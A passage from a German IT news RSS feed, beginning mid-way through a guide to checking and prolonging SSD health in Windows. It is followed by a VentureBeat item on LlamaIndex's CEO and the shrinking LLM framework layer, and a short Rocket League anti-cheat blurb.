<p>Ein gutes Beispiel ist die <a href="https://www.amazon.de/dp/B0B9C4DKKG?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Samsung 990 PRO NVMe M.2 SSD 2 TB</a>, die bei Amazon derzeit knapp 290 Euro kostet – bis November 2025 war sie meist schon für 160 bis 170 Euro zu haben.  </p>



<p>Diese Entwicklung verwandelt die SSD in Ihrem Rechner von einer jederzeit austauschbaren Komponente zu einem kostbaren Gut, für dessen Langlebigkeit Sie jetzt gut sorgen sollten. Mit unseren Tipps prüfen Sie die Gesundheit des Flashlaufwerks und können sofort Gegenmaßnahmen ergreifen, wenn sie sich verschlechtert. So läuft Ihre SSD problemlos, bis die Preise wieder sinken.</p>



<p>Falls sich aber doch mal eine SSD verabschiedet, finden Sie in unseren Vergleichstests <a href="https://www.pcwelt.de/article/3045261/beste-ssd-test.html" target="_blank" rel="noreferrer noopener">Die besten SSDs aller Klassen von SATA bis PCIe 5.0 im Test </a>und <a href="https://www.pcwelt.de/article/2864644/die-besten-pcie-4-0-ssds-im-test.html" target="_blank" rel="noreferrer noopener">Die besten SSDs mit PCIe 4.0 im Test </a>leistungsfähigen Ersatz.</p>



<h2 class="wp-block-heading toc">An diesen PC-Fehlern erkennen Sie SSD-Probleme</h2>



<p>Eine SSD stirbt leise. Da dem Flashlaufwerk bewegliche Teile fehlen, hören Sie im Schadensfall kein verdächtiges Klackern wie bei einer HDD. Deshalb sollten Sie auf ungewöhnliches Verhalten des PCs achten, dessen Ursache SSD-Fehler sein könnten.</p>



<p><strong>Auffällig langsamer Windows-Start. </strong>Wenn das Betriebssystem behäbig startet und es lange dauert, bis der Anmeldebildschirm oder Desktop angezeigt wird, kann das an zu vielen Programmen im Autostart liegen. Doch falls das gesamte System während des Betriebs für Sekundenbruchteile einfriert, sollten Sie aufmerksam werden: Dieses Verhalten kann auftreten, wenn der SSD-Controller versucht, Daten aus einer Speicherzelle zu lesen, die ihre physikalische Integrität verliert. Das Laufwerk muss den Vorgang dann wiederholen, um die gewünschten Daten fehlerfrei zu erhalten, was das gesamte System ausbremst.</p>



<p><strong>Fehler beim Dateizugriff. </strong>Ein deutlicheres Warnsignal sind Fehlermeldungen beim Zugriff auf Dateien. Meldet Windows beim Öffnen eines Dokuments, dass es beschädigt ist oder aufgrund eines „E/A-Gerätefehlers” nicht geöffnet werden kann, sind sehr wahrscheinlich die SSD-Speicherbereiche bereits defekt, in denen die gewünschten Daten liegen. Einige Laufwerke verfügen für diesen Fall über einen eingebauten Schutzmechanismus: Sie schalten in einen Nur-Lese-Modus um, wenn die Fehlerquote einen kritischen Schwellenwert erreicht. Sie können dann Dateien noch aufrufen und kopieren, aber neue oder geänderte nicht mehr speichern.</p>



<p><strong>Windows stürzt plötzlich ab. </strong>Meldet sich das Betriebssystem unerwartet mit dem berüchtigten „Blue Screen of Death” ab, der als Fehlerursache „WHEA_UNCORRECTABLE_ERROR” zeigt, ist häufig ein schwerwiegender Fehler im Kommunikationsweg zwischen Prozessor und Speicher das Problem. Die Ursache dafür kann eine thermische Überlastung oder ein instabiler SSD-Controller sein. Auch hier sollten Sie nicht warten, sondern sofort eine umfassende Fehlerdiagnose starten.</p>



<h2 class="wp-block-heading toc">Bordmittel oder Gratis-Tool: So prüfen Sie die SSD-Gesundheit</h2>



<p>Windows gibt über ein verstecktes Bordmittel Hinweise auf den Zustand der eingebauten SSD. Um es zu nutzen, öffnen Sie über das Startmenü die „Einstellungen”, navigieren zu „System” und dort zu „Speicher”. Unter den „Erweiterten Speichereinstellungen” finden Sie den Bereich „Datenträger und Volumes”. Wenn Sie bei Ihrer SSD auf die Schaltfläche „Eigenschaften” klicken, zeigt Ihnen Windows die „Geschätzte verbleibende Lebensdauer” sowie die aktuelle Temperatur an. Diese Anzeige basiert auf den sogenannten SMART-Werten (Self-Monitoring, Analysis, and Reporting Technology), die jedes moderne Laufwerk ständig im Hintergrund aufzeichnet.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f5949ac7266"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Windows-Datentraeger-Anzeige.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD Windows Datentraeger Anzeige" class="wp-image-3115876" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Windows 11 kann Ihnen in den Einstellungen den aktuellen Gesundheitszustand der SSD anzeigen, etwa die verbleibende Lebensdauer und aktuelle Temperatur.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Diesen Status sehen Sie aber nur, wenn die SSD mit dem Windows-Standardtreiber für NVMe arbeitet. Notebooks mit einer Intel-CPU verwenden aber oft einen Intel-Treiber wie „Intel RST VMD Controller”, was Sie im Geräte-Manager unter „Speichercontroller” prüfen können: Er gibt die SMART-Werte der SSD nicht weiter, Windows zeigt deshalb den erweiterten Status dann nicht.</p>



<p>Für eine detailliertere Analyse empfehlen wir das Gratis-Tool <a href="https://www.pcwelt.de/article/1161213/crystaldiskinfo-3.html" target="_blank" rel="noreferrer noopener">Crystaldiskinfo</a>. Nach Installation und Start zeigt es eine tabellarische Übersicht. Achten Sie vor allem auf die Information, die oben links steht: Dort signalisiert ein farbiger Punkt den aktuellen Gesamtzustand der SSD. Ein blaues „Gut” bedeutet Entwarnung. Bei einem gelben „Vorsicht” sollten Sie am besten rasch Ihre Daten sichern und einen baldigen Austausch des Laufwerks in Betracht ziehen. Ein rotes „Schlecht” fordert Sie zum sofortigen Handeln auf.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f5949ac7d46"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-CrystalDiskInfo.png" alt="Ratgeber SSD CrystalDiskInfo" class="wp-image-3115878" width="674" height="658" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Crystaldiskinfo ist ein bewährtes Tool, um Laufwerke gründlich zu prüfen. Mit einer kleinen Umstellung lassen sich die Daten sofort verständlich anzeigen.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Um die kryptischen Zahlenwerte im Tool verständlich zu machen, ist ein kleiner Handgriff nötig: Standardmäßig zeigt Crystaldiskinfo die von der SSD erhobenen „Rohwerte” im Hexadezimalformat. Gehen Sie deshalb im Programmmenü auf den Punkt „Optionen” oder „Funktion”, wählen Sie „Erweiterte Optionen”, dann „Rohwerte” und stellen Sie um auf „10 [DEC]”. Nun sehen Sie beispielsweise bei der Betriebsdauer und den geschriebenen Datenmengen leicht nachvollziehbare Zahlenwerte.</p>



<p>Um die Lebensdauer Ihrer SSD einzuschätzen, achten Sie auf den Punkt „Percentage Used” oder „Verschleißregulierung”: Wenn dieser Wert bei 95 Prozent liegt, bedeutet das bei den meisten Herstellern, dass bereits fünf Prozent der garantierten Lebensdauer verbraucht sind.</p>



<h2 class="wp-block-heading toc">Expertenanalyse mit der Windows-Ereignisanzeige</h2>



<p>Einen tiefergehenden Blick ins SSD-Innenleben liefert die Windows-Ereignisanzeige – sozusagen das Tagebuch Ihres Rechners. Hier lassen sich Laufwerksprobleme erkennen, die die Diagnosesoftware verschweigt, weil ihre Häufigkeit noch unter einem festgelegten Schwellenwert liegt.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f5949ac861a"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Ereignisanzeige.jpg?quality=50&amp;strip=all" alt="Ratgeber SSD Ereignisanzeige" class="wp-image-3115881" width="1024" height="693" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Die Windows-Ereignisanzeige protokolliert minutiös alle Vorkommnisse und vergibt Ereignis-IDs, die Auskunft darüber geben, was passiert ist.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Öffnen Sie die Ereignisanzeige mit einem Rechtsklick auf das Windows-Logo in der Taskleiste und den Eintrag „Ereignisanzeige”. Navigieren Sie im Programm links zu „Windows-Protokolle &gt; System”. Suchen Sie unter der Spalte „Quelle” nach dem Eintrag „Disk”, indem Sie beispielsweise die Quellen alphabetisch sortieren.</p>



<p>Besonders kritisch ist die Nummer 7 in der Spalte „Ereignis-ID”: Sie besagt: „Das Gerät hat auf \Device\HarddiskX\DRX einen schlechten Block gefunden.” Das ist die Diagnose für einen physischen Defekt.</p>



<p>Auch die Ereignis-ID 153 ist ein ernstzunehmender Hinweis: Sie besagt, dass eine Lese- oder Schreiboperation wiederholt werden musste. Häufen sich diese Meldungen, wird die SSD nicht mehr lange funktionieren.</p>



<p>Sollten Sie die Event-ID 157 entdecken, hat Windows den Kontakt zum Laufwerk verloren, was auf ein defektes Kabel oder einen lockeren Kontakt im Gehäuse hinweist.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h2 class="wp-block-heading toc">TLC gegen QLC: Der bessere SSD-Speicher</h2>



<p>Warum halten manche SSDs länger als andere? Das liegt vor allem daran, wie das NAND-Flash des Laufwerks Daten speichert. Die meisten SSDs arbeiten mit TLC- oder QLC-Speicher.</p>



<p>TLC (Triple-Level Cell) speichert drei Bits pro Zelle. Das erfordert eine präzise Messung der Spannung in acht Stufen. Die Belastung des Materials ist moderat, was zu einer Lebenserwartung von etwa 3000 Schreibzyklen pro Zelle führt.</p>



<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f5949ac9872"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-TLCvsQLC.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD TLCvsQLC" class="wp-image-3115877" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">OSCOO</p></div>



<p>Bei QLC (Quad-Level Cell) liegen vier Bits in derselben Zelle. Dafür muss der Controller 16 verschiedene Spannungsniveaus unterscheiden können. Die Zellen nutzen sich dadurch schneller ab – oft garantieren die Hersteller für SSDs mit QLC nur 1000 oder weniger Schreibzyklen.</p>



<p>Ist trotz der sehr hohen Preise gerade jetzt ein SSD-Neukauf notwendig, sollten Sie der Versuchung widerstehen, zu den günstigeren QLC-Laufwerken zu greifen. Wenn die SSD Ihr Hauptlaufwerk ist, auf dem Windows und alle Programme installiert sind, sollten Sie lieber in die robustere TLC-Technik investieren. Sie sparen sich damit möglichen Ärger und das Geld für einen verfrühten Neukauf.</p>
</div>



<h2 class="wp-block-heading toc">So hat Ihre SSD weniger Stress</h2>



<p>Sie können die Lebensdauer des Flashlaufwerks verlängern, indem Sie es clever im Rechner platzieren und wichtige Softwareeinstellungen vornehmen.</p>



<p>Eine SSD ist ein Hochleistungsbauteil, das im Betrieb Wärme erzeugt – vor allem der SSD-Controller leidet unter Hitzeentwicklung. NVMe-SSDs im M.2-Format, die direkt auf das Mainboard gesteckt werden, erreichen unter Last Temperaturen von über 70 Grad Celsius. Üblicherweise greift dann eine eingebaute Notbremse: Die SSD drosselt ihre Geschwindigkeit, um Schäden zu vermeiden. Dieser Wechsel zwischen Hitze und Abkühlung belastet aber das Material.</p>



<p>Deshalb sollten Sie dafür sorgen, dass die SSD nicht überhitzt – das gilt besonders für Anwender, die häufig große Datenmengen wie zum Beispiel Videos kopieren.</p>



<p>In einem PC sollte die SSD idealerweise im Luftstrom des Gehäuselüfters liegen. Wenn Ihre Hauptplatine keine Kühlkörper für die M.2-Steckplätze besitzt, können Sie einen passiven Kühlkörper für unter 10 Euro nachrüsten, etwa den <a href="https://www.amazon.de/dp/B09VH29PR1?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Arctic M2 Pro Heatsink-Kühler</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f5949aca114"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Heatsink.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD Heatsink" class="wp-image-3115882" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Die Nachrüstung eines passiven Kühlkörpers für eine M.2-SSD ist eine kostengünstige und simple Maßnahme, um die Betriebstemperaturen für das Flash-laufwerk spürbar zu reduzieren.</p></figcaption></figure><p class="imageCredit">iFixit</p></div>



<p>Diese Metalllamellen kleben oder schrauben Sie auf die SSD – sie können die Temperatur oft um 10 bis 15 Grad senken. Weniger Möglichkeiten haben Sie bei einem Notebook: Hier können Sie aber darauf achten, den Laptop nicht dauerhaft zu stark auszulasten sowie die Luftein- und -auslässe am Gehäuse nicht zu blockieren.</p>



<p>Eine wichtige Softwareeinstellung für ein längeres SSD-Leben ist das sogenannte Over-Provisioning: Die SSD stellt dabei dem Betriebssystem weniger Speicherplatz zur Verfügung, als sie eigentlich besitzt. Dadurch kann der Controller Daten intern effizient umschichten und muss einzelne Speicherzellen nicht zu häufig beschreiben oder löschen, was sie abnutzt.</p>



<p>Das erreichen Sie, indem Sie die SSD nicht vollständig partitionieren, sondern nur zu rund 90 Prozent. So bleiben dem Controller zehn Prozent Speicherplatz als Daten-Rangierbahnhof. Einfacher geht es mit einem Tool des SSD-Herstellers, zum Beispiel <a href="https://www.awin1.com/cread.php?awinmid=14815&amp;awinaffid=486277&amp;clickref=rss&amp;platform=dl&amp;ued=http://www.samsung.com/de/memory-storage/magician-software/" target="_blank" rel="noreferrer noopener">Magician</a> bei Samsung-SSDs.</p>



<h2 class="wp-block-heading toc">Tipps für Windows: So entlasten Sie Ihren Speicher</h2>



<p>Windows 11 geht üblicherweise pfleglich mit einer SSD um. Doch mit ein paar gezielten Handgriffen können Sie die Schreiblast weiter senken. Ein zentraler Punkt ist der TRIM-Befehl: Durch ihn erfährt die SSD, welche Daten gelöscht wurden, um diese Bereiche im Hintergrund zu säubern.</p>



<p>Stellen Sie sicher, dass diese Funktion aktiv ist, indem Sie im Startmenü „Laufwerke defragmentieren und optimieren” eingeben. Dort sollte bei der SSD unter „Aktueller Status” entweder „Optimierung erforderlich” oder „OK” stehen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69f5949acaa73"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-LaufwerkeOptimieren.png?w=1200" alt="Ratgeber SSD LaufwerkeOptimieren" class="wp-image-3115879" width="1200" height="758" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Windows 11 wird SSDs in der Regel auto­matisch optimieren. Falls das nicht der Fall sein sollte, können Sie den Prozess auch selbst anstoßen.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Eine klassische Defragmentierung, wie man sie von Festplatten kennt, ist bei SSDs pures Gift, da sie die Zellen unnötig oft beschreibt, ohne einen Geschwindigkeitsvorteil zu bringen. Windows erkennt dies automatisch und führt stattdessen den TRIM-Vorgang durch.</p>



<p>Wenn Ihr Rechner über sehr viel Arbeitsspeicher verfügt – zum Beispiel 32 GB oder mehr –, können Sie erwägen, den Ruhezustand vollständig abzuschalten. Ist dieser aktiv, schreibt Windows bei jedem Ausschalten den gesamten Inhalt des Arbeitsspeichers auf die SSD, was wertvolle Schreibzyklen kostet.</p>



<p>Um dies zu verhindern, klicken Sie mit der rechten Maustaste auf das Windows-Logo in Ihrer Taskleiste und wählen „Terminal (Administrator)” oder „Eingabeaufforderung (Administrator)”. Tippen Sie in das schwarze Fenster den Befehl powercfg -h off ein und bestätigen Sie mit der Enter-Taste. Damit löscht Windows gleichzeitig die Platzhalterdatei auf Ihrem Laufwerk und spart oft mehrere Gigabyte Speicherplatz ein.</p>



<p>Als Alternative bietet sich der „Energie sparen”-Modus (Standby) an, der die Daten lediglich im RAM behält. Diese Funktion können Sie unter Windows 11 nach Ihren Wünschen anpassen: Öffnen Sie die „Einstellungen” mit der Tastenkombination Windows-I, navigieren Sie zu „System” und wählen Sie dort den Bereich „Leistung”.</p>



<p>Unter dem Punkt „Timeouts für Bildschirm, Standbymodus und Ruhezustand” legen Sie in den Drop-down-Menüs fest, nach wie vielen Minuten Ihr Rechner automatisch in den Standby-Modus wechseln soll, sowohl im Akku- wie im Netzbetrieb.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h2 class="wp-block-heading toc">Wie lange lebt meine SSD noch?</h2>



<p>Hersteller geben die Haltbarkeit ihrer Laufwerke oft in TBW (Terabytes Written) an. Dies ist die garantierte Menge an Daten, die Sie auf das Laufwerk schreiben können. Ein typisches 1-TB-Modell der Mittelklasse hat oft einen Wert von 600 TBW.</p>



<p>Bei einem üblichen PC, den Sie für normale Büroarbeit, das Surfen im Internet und gelegentliche Fotobearbeitung nutzen, schreibt die SSD pro Tag im Schnitt etwa 20 bis 40 GB. Bei einem täglichen Schreibaufkommen von 40 GB ergibt sich folgende Rechnung: 600.000 GB (TBW) / 40 GB (pro Tag) = 15.000 Tage. Das entspricht theoretisch einer Nutzungsdauer von über 41 Jahren.</p>



<p>Ein zweiter Wert ist DWPD (Drive Writes Per Day). Er gibt an, wie oft Sie die gesamte Kapazität des Laufwerks täglich während der Garantiezeit von meist fünf Jahren überschreiben dürfen.</p>



<p>Der reine Speicherverschleiß durch das Schreiben von Daten ist für die meisten SSDs daher kein Problem. Viel gefährlicher sind dagegen plötzliche Defekte durch Überhitzung, instabile Netzteile oder fehlerhafte Firmware. Deshalb ist die regelmäßige Kontrolle der Temperatur und der SMART-Werte deutlich wichtiger als das akribische Zählen jedes geschriebenen Megabytes.</p>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI scaffolding layer is collapsing. LlamaIndex's CEO explains what survives.]]></title>
<description><![CDATA[The scaffolding layer that developers once needed to ship LLM applications — indexing layers, query engines, retrieval pipelines, carefully orchestrated agent loops — is collapsing. And according to Jerry Liu, co-founder and CEO of LlamaIndex, that's not a problem. It's the point.“As a result, th...]]></description>
<link>https://tsecurity.de/de/3481018/it-nachrichten/the-ai-scaffolding-layer-is-collapsing-llamaindexs-ceo-explains-what-survives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3481018/it-nachrichten/the-ai-scaffolding-layer-is-collapsing-llamaindexs-ceo-explains-what-survives/</guid>
<pubDate>Fri, 01 May 2026 20:32:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The scaffolding layer that developers once needed to ship LLM applications — indexing layers, query engines, retrieval pipelines, carefully orchestrated agent loops — is collapsing. And according to Jerry Liu, co-founder and CEO of LlamaIndex, that's not a problem. It's the point.</p><p>“As a result, there's less of a need for frameworks to actually help users compose these deterministic workflows in a light and shallow manner,” Jerry Liu, co-founder and CEO of LlamaIndex, explains in a new <a href="https://www.youtube.com/watch?v=HbXvX-KtkSs&amp;list=PLMQoSwszBxm5dCv2bdqGnJ0QAL9n7Ds4_&amp;index=1&amp;pp=iAQB">VentureBeat Beyond the Pilot podcast</a>. </p><div></div><h2><b>Context is becoming the moat</b></h2><p>Liu’s LlamaIndex is one of the foremost retrieval-augmented generation (RAG) frameworks connecting private, custom, and domain-specific data to LLMs. But even he acknowledges that these types of frameworks are becoming less relevant. </p><p>With every new release, models demonstrate incremental capabilities to reason over “massive amounts” of unstructured data, and they’re getting better at it than humans, he notes. They can be trusted to reason extensively, self-correct, and perform multi-step planning; Modern Context Protocol (MCP) and Claude Agent Skills plug-ins allow models to discover and use tools without requiring integrations for every one independently. </p><p>Agent patterns have consolidated toward what Liu calls a <a href="https://www.anthropic.com/engineering/managed-agents">"managed agent diagram"</a> — a harness layer combined with tools, MCP connectors, and skills plug-ins, rather than custom-built orchestration for every workflow.</p><p>Further, coding agents excel at writing code, meaning devs don’t need to rely on extensive libraries. In fact, about 95% of LlamaIndex code is generated by AI. “Engineers are not actually writing real code,” Liu said. “They're all typing in natural language.” This means the layers between programmers and non-programmers is collapsing, because “the new programming language is essentially English.” </p><p>Instead of manual coding or struggling to understand API and document integration, devs can just point Claude Code at it. “This type of stuff was either extremely inefficient or just would break the agent three years ago,” said Liu. “It's just way easier for people to build even relatively advanced retrieval with extremely simple primitives.”</p><p>So what’s the core differentiator when the stack collapses? </p><p>Context, Liu says. Agents need to be able to decipher file formats to extract the right information. Providing higher accuracy and cheaper parsing becomes key, and LlamaIndex is well-positioned here, he contends, because of its developments with agentic document processing via optical character recognition (OCR). </p><p>“We've really identified that there's a core set of data that has been locked up in all these file format containers,” he said. Ultimately, “whether you use OpenAI Codex or Claude Code doesn't really matter. The thing that they all need is context.”</p><h2><b>Keeping stacks modular</b></h2><p>There’s growing concern about builders like Anthropic locking in session data; in light of this, Liu emphasizes the importance of modularity and agnosticism. Builders shouldn’t bet on any one frontier model, or overbuild in a way that overcomplicates components of the stack. </p><p>Retrieval has evolved into “agent-plus-sandbox,” as he describes it, and enterprises must ensure that their code bases are tech debt free and adaptable to changing patterns. They also have to acknowledge that some parts of the stack will eventually need to be thrown away as a matter of course. </p><p>“Because with every new model release, there's always a different model that is kind of the winner,” Liu said. “You want to make sure you actually have some flexibility to take advantage of it.”</p><p>Listen to the podcast to hear more about: </p><ul><li><p>LlamaIndex’s beginnings as a ‘toy project’ with initially only about 40% accuracy; </p></li><li><p>How SaaS companies can tap into complicated workflows that must be standardized and repeatable for average knowledge workers;</p></li><li><p>Why vertical AI companies are taking off and why ‘build versus buy’ is still a very valid question in the agent age. </p></li></ul><p><b>You can also listen and subscribe to </b><a href="https://beyondthepilot.ubpages.com/"><b>Beyond the Pilot</b></a><b> on </b><a href="https://open.spotify.com/show/4Zti73yb4hmiTNa7pEYls4"><b>Spotify</b></a><b>, </b><a href="https://podcasts.apple.com/us/podcast/beyond-the-pilot-enterprise-ai-in-action/id1839285239"><b>Apple</b></a><b> or wherever you get your podcasts.</b></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rocket League has a new Easy Anti-Cheat addition, and it still works on the Steam Deck — it's about time for other game Devs to follow suit]]></title>
<description><![CDATA[SteamOS is on the verge of huge growth to its player base with the Steam Machine's arrival, and that's why this one factor can't be ignored by game developers.]]></description>
<link>https://tsecurity.de/de/3480938/it-nachrichten/rocket-league-has-a-new-easy-anti-cheat-addition-and-it-still-works-on-the-steam-deck-its-about-time-for-other-game-devs-to-follow-suit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3480938/it-nachrichten/rocket-league-has-a-new-easy-anti-cheat-addition-and-it-still-works-on-the-steam-deck-its-about-time-for-other-game-devs-to-follow-suit/</guid>
<pubDate>Fri, 01 May 2026 19:31:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SteamOS is on the verge of huge growth to its player base with the Steam Machine's arrival, and that's why this one factor can't be ignored by game developers.]]></content:encoded>
</item>
<item>
<title><![CDATA[I touched a ZX Spectrum for the first time in decades – and I liked it | Dominik Diamond]]></title>
